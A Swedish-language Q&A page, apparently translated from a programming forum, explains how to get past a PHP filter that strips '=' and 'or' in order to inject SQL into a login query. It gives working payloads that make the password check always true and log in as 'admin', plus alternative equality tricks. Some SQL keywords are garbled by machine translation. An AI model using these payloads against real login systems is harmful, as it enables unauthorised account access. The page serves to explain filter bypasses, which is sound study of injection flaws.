sql >> Databasteknik >  >> RDS >> Mysql

SQL-injektion med php-filtrering

Om vi ​​antar denna definition av lvl2_filter , vilket i princip tar bort alla förekomster av = och eller tills den inte längre hittas bör det fortfarande vara möjligt att använda logisk ELLER operation med || istället för ELLER och ett enkelt uttryck som utvärderas till sant som:

username: dummy
password: ' || '1

Detta skulle resultera i:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

För att välja en specifik användare kan man använda reglerna för boolesk algebra , där x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Detta skulle resultera i:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Här <> motsvarar != men innehåller ingen = .

Det finns också andra operationer som man kan använda för att säkerställa användarnamn är lika med admin :

  • användarnamn MELLAN 'admin' OCH 'admin'
  • användarnamn LIKE 'admin'
  • användarnamn IN ('admin')
  • OM(STRCMP(användarnamn,'admin'), 0, 1)
  • CASE STRCMP(användarnamn,'admin') WHEN 0 THEN 1 ANDES 0 END
  • ...



  1. Hur man lagrar frågeresultat i variabel med mysql

  2. Django:sqlite för dev, mysql för prod?

  3. Fel vid installation av psycopg2==2.6.2

  4. SQLite onUpgrade() frustration